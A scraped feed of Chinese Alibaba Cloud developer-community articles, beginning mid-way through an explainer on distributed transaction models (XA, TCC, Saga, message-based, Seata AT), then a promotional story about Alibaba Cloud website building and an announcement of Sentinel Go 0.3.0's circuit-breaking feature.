      事务的执行过程中,宕机和网络超时都有可能发生,针对这些异常场景,不同 XA 规范的实现,对异常处理做法可能不同,可参考如下:

      • TM 在阶段 1 中询问 RM 前宕机,恢复后无需做任何操作。
      • TM 在阶段 1 中询问 RM 后宕机,可能只有部分 RM 收到了阶段 1 的请求,因此此时需要向 RM 发起回滚请求。
      • TM 在阶段 1 中询问 RM 完毕,但是在就准备完成日志时宕机,因不清楚宕机前的事务协商的结果,因此恢复后需要向 RM 发起回滚请求。
      • TM 在阶段 1 中记录完毕事务准备完成日志后宕机,恢复后可以根据日志发起提交或者回滚的指令。
      • TM 在阶段 2 中记录 commit/abort 日志前宕机,恢复后可以根据日志发起提交或者回滚指令。
      • TM 在阶段 2 中记录事务结束日志前宕机,恢复后可以根据日志发起提交或者回滚指令。
      • TM 在阶段 2 中记录事务结束日志后宕机,恢复后无需做任何操作。
      • 阶段 1 中,RM 有超时情况时,TM 按失败处理,给所有 RM 发送回滚指令。
      • 阶段 2 中,RM 有超时情况是,TM 需要对超时的 RM 持续重复发送指令。

      特点剖析

      • XA 两阶段提交协议设计上是要像本地事务一样实现事务的 ACID 四个特性:
      • 原子性:在 prepare 和 commit 阶段保证事务是原子性的。
      • 一致性:XA 协议实现的是强一致性。
      • 隔离性:XA 事务在完成之前一直持有资源的锁,所以可以做到写隔离。
      • 持久性:基于本地事务实现,所以这一点没有问题。

      XA 是出现最早的分布式事务规范,主流数据库 Oracle、MySQL、SQLServer 等都支持 XA 规范,J2EE 中的 JTA 规范也是参照 XA 规范编写的,与 XA 规范兼容。

      XA 是在资源管理层面实现的分布式事务模型,对业务的入侵度较低。

      XA 两阶段提交协议可以覆盖分布式事务的三种场景,但是全局事务的执行过程中,RM 一直持有资源的锁,如果参与的 RM 过多,尤其是跨服务的场景下,网络通信的次数和时间会急剧变多,所以阻塞的时间更长,系统的吞吐能力变得很差,事务死锁出现的概率也会变大,所以并不适合微服务架构场景中的跨服务的分布式事务模式。

      每一个 TM 域来说,由于 TM 是单点,存在单点故障风险,如果 TM 在阶段1之后挂掉,会导致参与的 RM 长时间收不到阶段 2 的请求而长期持有资源的锁,影响业务的吞吐能力。同时一次完整的全局事务,TM 和 RM 之间的交互多达 8 次,太繁琐,非常影响系统的处理性能。

      XA 两阶段协议可能会造成脑裂的异常,假如 TM 在阶段 2 通知 RM 提交事务时,如果指令发出后就宕机了,而只有部分 RM 收到了提交请求,那么当 TM 恢复的时候,就无法协调本次事务所有的 RM 本地事务的一致性了。

      XA 要处理的异常场景非常多,对框架的实现有一定的挑战,开源的实现,可以参考:Atomikos,Bitronix。

      针对 XA 两阶段提交中的问题,有人提出了三阶段提交的改进方案,三阶段提交方案主要解决了单点故障问题,并在 RM 侧也引入了超时机制,以避免资源的长时间锁定。但是三阶段提交方案依然无法避免脑裂的异常情况出现,实际应用案例很少,感兴趣的同学可以自行找相关资料了解。

      TCC

      TCC (Try、Commit、Cancel) 是一种补偿型事务,该模型要求应用的每个服务提供 try、confirm、cancel 三个接口,它的核心思想是通过对资源的预留(提供中间态),尽早释放对资源的加锁,如果事务可以提交,则完成对预留资源的确认,如果事务要回滚,则释放预留的资源。

      TCC 也是一种两阶段提交协议,可以看作 2PC/XA 的一种变种,但是不会长时间持有资源锁。

      TCC 模型将事务的提交划分为两个阶段:

      1)阶段 1

      完成业务检查(一致性)、预留业务资源(准隔离性),即 TCC 中的 try。

      2)阶段 2

      如果 try 阶段所有业务资源都预留成功,则执行 confirm 操作,否则执行 cancel 操作:

      • confirm:不做任何业务检查,仅仅使用预留的资源执行业务操作,如果失败会一直重试。
      • cancel:取消执行业务操作,释放预留的资源,如果失败会一直重试。

      image.png

      TCC 模式中,事务的发起者和参与者都需要记录事务日志,事务的发起者需要记录全局事务和各个分支事务的状态和信息;事务的参与者需要记录分支事务的状态。

      TCC 事务在执行过程中的任意环节,均可能发生宕机、重启、网络中断等异常情况,此时事务处于非原子状态和非最终一致状态,此时就需要根据主事务记录和分支事务记录的日志,去完成剩余分支事务的提交或者回滚,使整个分布式事务内所有参展达到最终一致的状态,实现事务的原子性。

      举例
      我们以一个简单的电商系统为例,小明在淘宝上花 100 元买了一本书,获赠 10 个积分,产品上有如下几个操作:

      • 订单系统创建商品订单
      • 支付系统接受小明的支付
      • 库存系统扣减产品库存
      • 会员系统给小明账户增加会员积分

      这几个动作需要作为一个事务执行,要同时成功或者同时撤销。

      如果采用 TCC 事务模式,那么各个系统需要改造为如下状态:

      1)订单系统

      • try:创建一个订单,状态显示为“待支付”
      • confirm:更新订单的状态为“已完成”
      • cancel:更新订单的状态为“已取消”

      2)支付系统

      • try:假设小明账户中有 1000 元,冻结小明账户中的 100 元,此时小明看到的余额依然是 1000 元。
      • confirm:将账户余额变为 900 元,并清除冻结记录。
      • concel:清除冻结记录。

      3)库存系统

      • try:假设库存中还生 10 本书,冻结其中的一本书,现实库存依然有 10 本书。
      • confirm:将剩余库存更新为 9 本书,并清除冻结记录。
      • cancel:清除冻结记录。

      4)会员系统

      • try:假设小明原因积分 3000 分,给小明账户预增加 10 积分,账户显示的积分依然是 3000 分。
      • confirm:将账户积分更新为 3010,并清除预增加记录。
      • cancel:清除预增加记录。

      特点剖析

      TCC 事务具备事务的四个特性:

      • 原子性:事务发起方协调各个分支事务全部提交或者全部回滚。
      • 一致性:TCC 事务提供最终一致性。
      • 隔离型:通过 try 预分配资源的方式来实现数据的隔离。
      • 持久性:交由各个分支事务来实现。

      TCC 事务模型对业务方侵入较大,需要业务方把功能的实现上由一个接口拆分为三个,开发成本较高。

      同时 TCC 事务为了解决异步网络中的通信失败或超时带来的异常情况,要求业务方在设计实现上要遵循三个策略:

      • 允许空回滚:原因是异常发生在阶段 1 时,部分参与方没有收到 try 请求从而触发整个事务的 cancel 操作,try 失败或者没有执行 try 操作的参与方收到 cancel 请求时,要进行空回滚操作。
      • 保持幂等性:原因是异常发生在阶段 2 时,比如网络超时,则会重复调用参与方的 confirm/cancel 方法,因此需要这两个方法实现上保证幂等性。
      • 防止资源悬挂:原因网络异常导致两个阶段无法保证严格的顺序执行,出现参与方侧 try 请求比 cancel 请求更晚到达的情况,cancel 会执行空回滚而确保事务的正确性,但是此时 try 方法也不可以再被执行。

      TCC 事务将分布式事务从资源层提到业务层来实现,可以让业务灵活选择资源的锁定粒度,并且全局事务执行过程中不会一直持有锁,所以系统的吞吐量比 2PC/XA 模式要高很多。

      支持 TCC 事务的开源框架有:ByteTCC、Himly、TCC-transaction。

      Saga

      Saga 并不是一个新概念,其相关论文在 1987 年就发布了,和 XA 两阶段提交规范出现的时间差不多。

      Saga 和 TCC 一样,也是一种补偿事务,但是它没有 try 阶段,而是把分布式事务看作一组本地事务构成的事务链。

      事务链中的每一个正向事务操作,都对应一个可逆的事务操作。Saga 事务协调器负责按照顺序执行事务链中的分支事务,分支事务执行完毕,即释放资源。如果某个分支事务失败了,则按照反方向执行事务补偿操作。

      假如一个 Saga 的分布式事务链有 n 个分支事务构成,[T1,T2,...,Tn],那么该分布式事务的执行情况有三种:

      • T1,T2,...,Tn:n 个事务全部执行成功了。
      • T1,T2,...,Ti,Ci,...,C2,C1:执行到第 i (i<=n) 个事务的时候失败了,则按照 i->1 的顺序依次调用补偿操作。如果补偿失败了,就一直重试。补偿操作可以优化为并行执行。
      • T1,T2,...,Ti (失败),Ti (重试),Ti (重试),...,Tn:适用于事务必须成功的场景,如果发生失败了就一直重试,不会执行补偿操作。

      image.png

      举例

      假如国庆节小明要出去玩,从北京出发,先去伦敦,在伦敦游玩三天,再去巴黎,在巴黎游玩三天,然后再返回北京。整个行程中涉及不同航空公司的机票预订以及伦敦和巴黎当地的酒店预订,小明的计划是如果任何一张机票或酒店预订不上,就取消本次出行计划。假如综合旅游出行服务平台提供这种一键下单的功能,那么这就是一个长事务,用 Saga 模式编排服务的话,就如下图所示:任何一个环节失败的话,就通过补偿操作取消前面的行程预订。

      image.png

      特点剖析

      Saga 事务是可以保障事务的三个特性:

      • 原子性:Saga 协调器可以协调事务链中的本地事务要么全部提交,要么全部回滚。
      • 一致性:Saga 事务可以实现最终一致性。
      • 持久性:基于本地事务,所以这个特性可以很好实现。

      但是 Saga 不保证事务隔离性的,本地事务提交后变更就对其他事务可见了。其他事务如果更改了已经提交成功的数据,可能会导致补偿操作失败。比如扣款失败,但是钱已经花掉了,业务设计上需要考虑这种场景并从业务设计上规避这种问题。

      Saga 事务和 TCC 事务一样,对业务实现要求高,要求业务设计实现上遵循三个策略:

      • 允许空补偿:网络异常导致事务的参与方只收到了补偿操作指令,因为没有执行过正常操作,因此要进行空补偿。
      • 保持幂等性:事务的正向操作和补偿操作都可能被重复触发,因此要保证操作的幂等性。
      • 防止资源悬挂:网络异常导致事务的正向操作指令晚于补偿操作指令到达,则要丢弃本次正常操作,否则会出现资源悬挂问题。

      虽然 Saga 和 TCC 都是补偿事务,但是由于提交阶段不同,所以两者也是有不同的:

      • Saga 是不完美补偿,补偿操作会留下之前原始事务操作的痕迹,需要考虑对业务上的影响。
      • TCC 是完美补偿,补偿操作会彻底清理之前的原始事务操作,用户是感知不到事务取消之前的状态信息的。
      • TCC 的事务可以更好的支持异步化,但是 Saga 模式一般在补偿阶段比较适合异步化。

      Saga 模式非常适合于业务流程长的长事务的场景,实现上对业务侵入低,所以非常适合微服务架构的场景。同时 Saga 采用的是一阶段提交模式,不会对资源长时间加锁,不存在“木桶效应”,所以采用这种模式架构的系统性能高、吞吐高。

      阿里巴巴的 Seata 开源项目和华为的 ServiceComb 开源项目都支持 Saga 模式。

      基于消息的分布式事务

      基于消息的分布式事务模式核心思想是通过消息系统来通知其他事务参与方自己事务的执行状态。

      消息系统的引入更有效的将事务参与方解耦,各个参与方可以异步执行。

      该种模式的难点在于解决本地事务执行和消息发送的一致性:两者要同时执行成功或者同时取消执行。

      实现上主要有两种方式:

      • 基于事务消息的方案
      • 基于本地消息的方案

      基于事务消息的分布式事务

      普通消息是无法解决本地事务执行和消息发送的一致性问题的。因为消息发送是一个网络通信的过程,发送消息的过程就有可能出现发送失败、或者超时的情况。超时有可能发送成功了,有可能发送失败了,消息的发送方是无法确定的,所以此时消息发送方无论是提交事务还是回滚事务,都有可能不一致性出现。

      解决这个问题,需要引入事务消息,事务消息和普通消息的区别在于事务消息发送成功后,处于 prepared 状态,不能被订阅者消费,等到事务消息的状态更改为可消费状态后,下游订阅者才可以监听到次消息。

      本地事务和事务消息的发送的处理流程如下:

      • 事务发起者预先发送一个事务消息。
      • MQ 系统收到事务消息后,将消息持久化,消息的状态是“待发送”,并给发送者一个 ACK 消息。
      • 事务发起者如果没有收到 ACK 消息,则取消本地事务的执行;如果收到了 ACK 消息,则执行本地事务,并给 MQ 系统再发送一个消息,通知本地事务的执行情况。
      • MQ 系统收到消息通知后,根据本地事务的执行情况更改事务消息的状态,如果成功执行,则将消息更改为“可消费”并择机下发给订阅者;如果事务执行失败,则删除该事务消息。
      • 本地事务执行完毕后,发给 MQ 的通知消息有可能丢失了。所以支持事务消息的 MQ 系统有一个定时扫描逻辑,扫描出状态仍然是“待发送”状态的消息,并向消息的发送方发起询问,询问这条事务消息的最终状态如何并根据结果更新事务消息的状态。因此事务的发起方需要给 MQ 系统提供一个事务消息状态查询接口。
      • 如果事务消息的状态是“可发送”,则 MQ 系统向下游参与者推送消息,推送失败会不停重试。
      • 下游参与者收到消息后,执行本地事务,本地事务如果执行成功,则给 MQ 系统发送 ACK 消息;如果执行失败,则不发送 ACK 消息,MQ 系统会持续推送给消息。

      image.png

      基于本地消息的分布式事务

      基于事务消息的模式对 MQ 系统要求较高,并不是所有 MQ 系统都支持事务消息的,RocketMQ 是目前为数不多的支持事务小的 MQ 系统。如果所依赖的 MQ 系统不支持事务消息,那么可以采用本地消息的分布式模式。

      该种模式的核心思想是事务的发起方维护一个本地消息表,业务执行和本地消息表的执行处在同一个本地事务中。业务执行成功,则同时记录一条“待发送”状态的消息到本地消息表中。系统中启动一个定时任务定时扫描本地消息表中状态为“待发送”的记录,并将其发送到 MQ 系统中,如果发送失败或者超时,则一直发送,知道发送成功后,从本地消息表中删除该记录。后续的消费订阅流程则与基于事务消息的模式雷同。

      image.png

      特点剖析

      基于消息的分布式事务模式对 ACID 特性的支持如下:

      • 原子性:最终可以实现分支事务都执行或者都不执行。
      • 一致性:提供最终一致性。
      • 隔离性:不保障隔离性。
      • 持久性:由本地事务来保证。

      基于消息的分布式事务可以将分布式系统之间更有效的解耦,各个事务参与方之间的调用不再是同步调用。

      对 MQ 系统的要求较高,对业务实现也有一定的侵入性,要么提供事务消息状态查询接口,要么需要维护本地消息表。并且原则上只接受下游分支事务的成功,不接受事务的回滚,如果失败就要一直重试,适用于对最终一致性敏感度较低的业务场景,例如跨企业的系统间的调用,适用的场景有限。

      最大努力通知型分布式事务

      最大努力通知型的分布式事务解决方案,也是基于 MQ 系统的一种解决方案,但是不要求 MQ 消息可靠。

      举例
      假设小明通过联通的网上营业厅为手机充话费,充值方式选择支付宝支付。整个操作的流程如下:

      • 小明选择充值金额“50 元”,支付方式“支付宝”。
      • 联通网上营业厅创建一个充值订单,状态为“支付中”,并跳转到支付宝的支付页面(此时进入了支付宝的系统中)。
      • 支付宝验明确认小明的支付后,从小明的账户中扣除 50 元,并向联通的账户中增加 50 元。执行完毕后向 MQ 系统发送一条消息,消息的内容标识支付是否成功,消息发送允许失败。
      • 如果消息发送成功,那么支付宝的通知服务会订阅到该消息,并调用联通的接口通知本次支付的结果。如果此时联通的服务挂掉了,导致通知失败了,则会按照 5min、10min、30min、1h、...、24h 等递增的时间间隔,间隔性重复调用联通的接口,直到调用成功或者达到预订的时间窗口上限后,则不再通知。这就是尽最大努力通知的含义。
      • 如果联通服务恢复正常,收到了支付宝的通知,如果支付成功,则给账户充值;如果支付失败,则取消充值。执行完毕后给支付宝通知服务确认响应,确认响应允许失败,支付宝系统会继续重试。所以联通的充值接口需要保持幂等性。
      • 如果联通服务故障时间很久,恢复正常后,已超出支付宝通知服务的时间窗口,则联通扫描“支付中”的订单,主动向支付宝发起请求,核验订单的支付结果。

      特点剖析

      最大努力通知型方案本质是通过引入定期校验机制来对最终一致性做兜底,对业务侵入性较低、对 MQ 系统要求较低,实现比较简单,适合于对最终一致性敏感度比较低、业务链路较短的场景,比如跨平台、跨企业的系统间的业务交互。

      分布式事务中间件

      阿里巴巴有两个分布式事务中间件可选择:

      • 蚂蚁金服团队开发的 XTS,金融云产品名称为 DTX。
      • 阿里巴巴中间件团队开发的 TXC。

      XTS 和 TXC 的功能差不多,都支持 TCC 事务模式,也都提供了对业务入侵度较低的分布式事务方案,目前这两个团队应该是在共建开源版的分布式事务中间件 Seata。此处我们介绍一下 Seata。

      Seata

      简单说一下 Seata (Simple Extensible Autonomous Transaction Architecture) 的历史:

      • 2014 年阿里巴巴就已经推出了分布式事务中间件产品 TXC (Taobao Transaction Constructor)。
      • 2016 年,TXC 进行了云产品化改造,提供了阿里云的云版本,名字叫做 GTS (Global Transaction Service) 。
      • 2019 年,GTS 宣布开源,开源项目的名字叫做 Seata。

      Seata 支持 TCC 模式、Saga 模式。但是 Seata 对 TCC 模式的支持提供了一种对业务入侵度为0的解决方案,这种方案叫做 AT (Automatic Transaction) 模式。下面我们重点说一下 AT 模式的运行机制:

      • 全局事务依然是基于各个分支事务来完成。Seata Server 协调各个分支事务要么一起提交,要么一起回滚。
      • 各个分支事务在运行时,Seata Client 通过对 SQL 执行的代理和拦截,通过解析 SQL 定位到行记录,记录下 SQL 执行前后的行数据快照,beforeImage 和 afterImage 共同构成了回滚日志,回滚日志记录在独立的表中。回滚日志的写入和业务数据的更改在在同一个本地事务中提交。
      • 分支事务完成后,立即释放对本地资源的锁,然后给 Seata 协调器上报事务执行的结果。
      • Seata 协调器汇总各个分支事务的完成情况,生成事务提交或者回滚的决议,将决议下发给 Seata Client。
      • 如果决议是提交事务,则 Seata Client 异步清理回滚日志;如果决议是回滚事务,则 Seata Client 根据回滚日志进行补偿操作,补偿前会对比当前数据快照和 afterImage 是否一致,如果不一致则回滚失败,需要人工介入。

      image.png

      AT 模式通过自动生成回滚日志的方式,使得业务方接入成本低,对业务入侵度很低,但是应用 AT 模式也有一些限制:

      • AT 模式只支持基于 ACID 事务的关系数据库。
      • AT 模式是通过对 SQL 解析来完成的,对 SQL 语法的支持有限,使用复杂 SQL 时需要考虑兼容性。
      • 目前不支持复合主键,业务表在设计时注意添加自增主键。
      • 全局事务默认的隔离级别是读未提交,但是通过 SELECT...FOR UPDATE 等语句,可以实现读已提交的隔离级别。通过全局排它写锁,可以做到的隔离级别介于读未提交和读已提交之间。

      总结

      单体数据库事务很容易满足事务的 ACID 四个特性,提供强一致性保证,但是分布式事务要完全遵循 ACID 特性会比较困难。为了追求分布式系统的高可用和高吞吐,分布式事务的解决方案一般提供的是最终一致性。

      我们把提供强一致性的事务称之为刚性事务,把提供最终一致性的事务称之为柔性事务。刚性事务可以完全满足 ACID 四个特性,柔性事务对事务的 ACID 特性的支持情况如下:

      • 原子性:完全支持。
      • 一致性:只提供最终一致性支持。
      • 隔离性:不完全保证,通常为了系统的吞吐和性能,会一定程度上放弃对隔离性的要求。
      • 持久性:完全支持。

      柔性事务一般遵循的是分布式领域中的 BASE 理论:

      • BA:Basic Availability,基本业务可用性。
      • S:Soft state,柔性状态。
      • E:Eventual consistency,最终一致性。

      BASE 理论,是对 CAP 理论的延伸,是对 CAP 中的一致性和可用性进行一个权衡的结果,理论的核心思想就是:我们无法做到强一致,但每个应用都可以根据自身的业务特点,采用适当的方式来使系统达到最终一致性。

      CAP 理论告诉我们一个分布式系统无法同时满足一致性, 可用性, 分区容错性,所以在设计上对这三点做取舍。刚性事务追求强一致性,所以牺牲了高可用性;柔性事务通过牺牲一致性换来了系统的高可用性。

      在系统选择分布式方案时,可以根据对一致性的要求进行选择,业务上有强一致性要求的场景时,优先考虑 XA 规范的两阶段提交;业务上只需要最终一致性的场景时,可以在根据具体场景在柔性事务方案中进行选择。

      参考

      [1]分布式事务中间件TXC(http://mw.alibaba-inc.com/product-txc.html
      [2]弹力设计之补偿事务(https://www.jianshu.com/p/8095001d79bb
      [3]分布式事务中间件ServiceComb
      http://servicecomb.apache.org/cn/docs/distributed-transactions-saga-implementation/
      [4]深入理解两阶段提交(https://sq.163yun.com/blog/article/165554812476866560)[5]Seata(https://seata.io/zh-cn/
      [6]TCC事务原理
      https://www.cnblogs.com/jajian/p/10014145.html
      [7]TCC事务异常场景(https://blog.csdn.net/dm_vincent/article/details/92432059
      [8]Compensating Transaction Pattern
      https://docs.microsoft.com/en-us/azure/architecture/patterns/compensating-transaction
      [9]基于消息的分布式事务(https://www.jianshu.com/p/04bad986a4a2
      [10]分布式事务概述(http://www.tianshouzhi.com/api/tutorials/distributed_transaction/383
      [11]初识Open/X XA
      https://www.jianshu.com/p/6c1fd2420274
      [12]DTP: XA Specification
      https://pubs.opengroup.org/onlinepubs/009680699/toc.pdf
      [13]DTP Model
      https://pubs.opengroup.org/onlinepubs/009249599/toc.pdf

      福利来了 | Java 程序员学习清单
      Java 初、中、高级程序员必不可少的学习清单,含学习方法论及各阶段技能、资料、课程等。
      识别下方二维码,或点击文末“阅读原文”立即查看:
      image.png

      ]]>
      企业营销第一步,阿里教你怎么做-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 老王,35岁,一家公司的负责人,最近他在产品销售方面遇到了头疼的问题,目前公司的获客渠道不是地推,就是电销。地推比较直观,能够跟客户面对面沟通,就是有点废业务员和产品资料,换句话来说就是成本投入大。电销虽然成本比地推低,但是难度却要大,电销员每天几百个电话打下来,不是开口挂,就是没兴趣。

      老王1.png
      一天忙碌的工作中,电销员好不容易联系到了一位高意向的大客户,通话结束之后话务员马上进入办公室跟老王汇报,老王听完之后神情愉悦并透露赞许,决定亲自带团队拜访。同时客户挂断电话之后在网上搜索老王公司的相关信息,结果出现的内容不是招人信息,就是某些网站上敷衍潦草的公司简介,更有意思的是某度知道上面的XX公司怎么样?

      “拜托,我只是想找一下你们公司的官网,了解一下有哪些产品,这搜出来的都是些什么,这公司有点不靠谱啊”求此时客户的心理阴影面积。

      老王2.png
      不知情的老王在和团队加班加点地准备着,殊不知客户此刻的心情复杂:时而怀疑,时而挣扎,最后释然,整理好心情迎接这次约谈,毕竟为商者,基本的接待礼节要有的。

      会面当天老王使出浑身解数演示,客户若有所思地点头,此时客户脑海中出现两个声音:“产品和优惠政策倒是感觉还不错,不过连个官网都没有,这公司有点不靠谱,再考虑一下吧。“最后客户表示考虑一下,下次再约。

      回到公司之后,商业嗅觉敏锐的老王察觉到了有些不对劲,那么问题出在哪里?

      老王3.png
      老王上网时无意间搜索公司名称,看到五花八门的信息时,他陷入了沉思…

      此时老王下定决心要做一个企业网站,于是在网上搜索企业建站,出现的各类建站公司信息让他眼花缭乱。那么问题来了,这么多家建站公司,到底该选哪家,服务器配置怎么选?备案怎么做?毫无头绪,完全不懂代码,交付后如何更新维护?这些都是初窥建站门槛的人头疼的问题。

      现阶段建站行业好像没有巨头,没有标杆,没有标准;建站行业百亿收入市场,最大建站公司市场占有率不足5%;行业还处于作坊式经营,数以十万级个人/小组织建站公司。

      于是老王另辟蹊径通过企业建站吧发求助帖。 废了好大的功夫,老王恍然大悟:企业官网是企业的互联网名片,能够线上引流,增加商机还能帮助品牌宣传。难怪客户一直犹豫不决,原来是缺乏信任感,一家连企业官网都没有的公司如何能够提供优质的服务。

      老王又通过帖子看了几位网友分享的切身感悟:

      个人工作室小李:“我之前找了一家便宜的公司做了一个网站,运行了一段时间。不是运行慢就是经常打不开,有时候还会被木马攻击,刚开始公司还会解决。后来服务问题无法跟上,最终我不得不寻找另一个建站公司重新搭建,我觉得以前创建的网站很浪费,个人认为网站搭建不可贪图便宜。”

      初创公司张老板:“刚开始搭建网站时我很困惑。我咨询了很多公司,最后选择了一个知名的大平台。尽管价格有点超出预期,但技术和后期服务非常好。特别是后期服务涉及一些更改,调整和添加,他们的售后客服态度很好,修改出来的效果都非常不错,因此建议大家搭建网站必须考虑后期服务。如果售后服务不好,即使网站便宜,遇到了问题不能及时解决,也是浪费时间和金钱,更重要的是会导致客户的流失,这也是我的经验,希望对大家有用。”

      强安全?高服务?大平台?老王觉得有了些许头绪,当老王看到有关阿里云心选建站的信息,突然眼前一亮…

      老王4.png

      进入阿里云心选建站频道,老王发现阿里云提供从自助建站到定制建站产品,有服务保障SLA,还能5天无理由退款。

      阿里云提供模板建站和定制建站两种解决方案。

      1、模板建站,主要是云·速成美站,顾名思义,速成,美观。云·速成美站能让企业快速拥有互联网名片,增强初次合作印象,助力业务开展。同时,可进行信息发布,向用户传达企业最新消息,增强用户粘性。只需低预算即可轻松搞定,并能自主完成网站设计。

      2、定制建站是由专家级设计师根据公司特性量身定制,更符合品牌特性,彰显公司实力,技术层面,全面集成主流云计算资源,保障网站安全,防攻击。交付后,企业拥有全部管理权限,无需任何技术,可以自由增添信息。

      除此之外,阿里云心选建站还拥有六大优势,帮助客户建好网站,做好业务。

      1、大平台
      (5天无理由/不满意全额退款)在线标准化售卖模式

      2、低门槛
      可视化界面加上拖拽式,无技术门槛的操作即可完成网站的搭建,一打开后台就知道如何使用,搭建网站又简单又快。

      3、标准化在线交付能力
      基于设计服务流程阿里云建站有一套完整的在线化交付体系,项目由开始到交付全程在线可见,满足用户与服务人员的实时交互,极大的提升了服务效率及满意度。客户从咨询-交易-交付只用一天时间,企业官网第二天就能上线。

      4、一体化便捷服务
      除了企业网站,与网站相关的域名、备案也可以办理,为客户提供一体化便捷服务。集成阿里云丰富的PaaS能力,包括阿里云视频、阿里云短信、国内独一的独立IP等,帮助企业更好地应用云计算。同时在安全保障,弹性伸缩、成本投入及开发效率上具有领先优势。

      5、强安全性
      企业官网在阿里云的环境下,从而实现对企业敏感数据保护。同时针对数据流向进行实时监控及预警,多种手段切断敏感数据外流通道。通过一系列的方式,可以确保企业数据的安全,解除企业对于数据泄漏的担忧。

      6、稳定性及托管服务
      阿里云提供专业细致的架构分析,全面的代码扫描及压力测试,健全的监控及报警方案,提高应用的稳定性,同时企业通过阿里云也可以实现对建站的托管,避免建站用户导致的不可控因素,实现建站的服务永继。

      阿里云凭借强大的技术支撑和完善的解决方案,已为超过100万家企业客户提供更高效、稳定的服务。未来,阿里云将会继续助力企业打造属于自己的品牌,提供更多更好的企业服务。最后总结一句:建站哪里寻,就上阿里云!

      老王5.png
      SaaS加速器尾图.jpg

      ]]>
      阿里开源分布式限流框架 -Sentinel Go 0.3.0 发布,支持熔断降级能力-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 头图.png

      作者 | 宿何  阿里巴巴高级开发工程师

      Sentinel 是阿里巴巴开源的,面向分布式服务架构的流量控制组件,主要以流量为切入点,从限流、流量整形、熔断降级、系统自适应保护等多个维度来帮助开发者保障微服务的稳定性。Sentinel 承接了阿里巴巴近 10 年的 双11 大促流量的核心场景,例如秒杀、冷启动、消息削峰填谷、集群流量控制、实时熔断下游不可用服务等,是保障微服务高可用的利器,原生支持 Java/Go/C++ 等多种语言,并且提供 Istio/Envoy 全局流控支持来为 Service Mesh 提供高可用防护的能力。

      近期,Sentinel Go 0.3.0 正式发布,带来了熔断降级特性支持,可以针对 Go 服务中的不稳定调用进行自动熔断,避免出现级联错误/雪崩,是保障服务高可用重要的一环。结合 Sentinel Go 已经提供的 gRPC、Gin、Dubbo 等框架组件的适配模块,开发者可以快速在 Web、RPC 调用层面配置熔断降级规则来保护自身服务的稳定性。同时 0.3.0 版本也带来了 etcd 动态数据源模块,开发者可以方便地通过 etcd 来动态调整熔断降级策略。

      Sentinel Go 项目地址:https://github.com/alibaba/sentinel-golang

      为什么需要熔断降级

      一个服务常常会调用别的模块,可能是另外的一个远程服务、数据库,或者第三方 API 等。例如,支付的时候,可能需要远程调用银联提供的 API;查询某个商品的价格,可能需要进行数据库查询。然而,这个被依赖服务的稳定性是不能保证的。如果依赖的服务出现了不稳定的情况,请求的响应时间变长,那么调用服务的方法的响应时间也会变长,线程会产生堆积,最终可能耗尽业务自身的线程池,服务本身也变得不可用。

      1.png

      现代微服务架构都是分布式的,由非常多的服务组成。不同服务之间相互调用,组成复杂的调用链路。以上的问题在链路调用中会产生放大的效果。复杂链路上的某一环不稳定,就可能会层层级联,最终导致整个链路都不可用。因此我们需要对不稳定的服务进行熔断降级,暂时切断不稳定调用,避免局部不稳定因素导致整体的雪崩。

      Sentinel Go 熔断降级特性基于熔断器模式的思想,在服务出现不稳定因素(如响应时间变长,错误率上升)的时候暂时切断服务的调用,等待一段时间再进行尝试。一方面防止给不稳定服务“雪上加霜”,另一方面保护服务的调用方不被拖垮。Sentinel 支持两种熔断策略:基于响应时间(慢调用比例)和基于错误(错误比例/错误数),可以有效地针对各种不稳定的场景进行防护。

      2.png

      下面我们介绍一下 Sentinel 流控降级的一些最佳实践。

      流控降级最佳实践

      在服务提供方(Service Provider)的场景下,我们需要保护服务提供方不被流量洪峰打垮。我们通常根据服务提供方的服务能力进行流量控制,或针对特定的服务调用方进行限制。为了保护服务提供方不被激增的流量拖垮影响稳定性,我们可以结合前期的容量评估,通过 Sentinel 配置 QPS 模式的流控规则,当每秒的请求量超过设定的阈值时,会自动拒绝多余的请求。

      在服务调用端(Service Consumer)的场景下,我们需要保护服务调用方不被不稳定的依赖服务拖垮。借助 Sentinel 的信号量隔离策略(并发数流控规则),限制某个服务调用的并发量,防止大量慢调用挤占正常请求的资源;同时,借助熔断降级规则,当异常比率或业务慢调用比例超过某个阈值后将调用自动熔断,直到一段时间过后再尝试恢复。熔断期间我们可以提供默认的处理逻辑(fallback),熔断期间的调用都会返回 fallback 的结果,而不会再去尝试本已非常不稳定的服务。需要注意的是,即使服务调用方引入了熔断降级机制,我们还是需要在 HTTP 或 RPC 客户端配置请求超时时间,来做一个兜底的保护。

      同时 Sentinel 还提供全局维度的系统自适应保护能力,结合系统的 Load、CPU 使用率以及服务的入口 QPS、响应时间和并发量等几个维度的监控指标,通过自适应的流控策略,让系统的入口流量和系统的负载达到一个平衡,让系统尽可能跑在最大吞吐量的同时保证系统整体的稳定性。系统规则可以作为整个服务的一个兜底防护策略,保障服务不挂。

      3.png

      Let's start hacking!

      Sentinel Go 版本正在快速演进中,我们非常欢迎感兴趣的开发者参与贡献,一起来主导未来版本的演进。Sentinel Go 版本的演进离不开社区的贡献。若您有意愿参与贡献,欢迎联系我们加入 Sentinel 贡献小组一起成长(Sentinel 开源讨论钉钉群:30150716)。

      同时,一年一度的阿里巴巴编程之夏(Alibaba Summer of Code)开始啦!如果你是在校的学生,有兴趣参与 Sentinel 项目的开发和演进,不要错过此次机会,欢迎 pick 感兴趣的 issue 提交提案:https://github.com/alibaba/Sentinel/issues/1497

      Now let's start hacking!

      第 3 期云原生网络研讨会邀您参加

      今晚 19:00 - 20:00,阿里云技术专家将为大家带来《如何为云原生应用带来稳定高效的部署能力?》,届时将会介绍阿里经济体大规模应用上云过程中遇到的核心部署问题、采取的对应解决方案,以及这些方案沉淀为通用化能力输出开源后,如何帮助阿里云上的用户提升应用部署发布的效率与稳定性。

      听众可获取以下收益:

      • 了解阿里经济体大规模应用上云的实践经验,如何解决原生 K8s workload 不满足场景需求的问题;
      • 作为外部用户,如何体验和使用上阿里经济体上云所沉淀下来的应用部署发布能力;
      • 演示阿里巴巴针对大规模 K8s 集群如何做到 DaemonSet 高可用的灰度升级(即将开源!)

      点击链接即可预约直播:https://yq.aliyun.com/live/2898

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
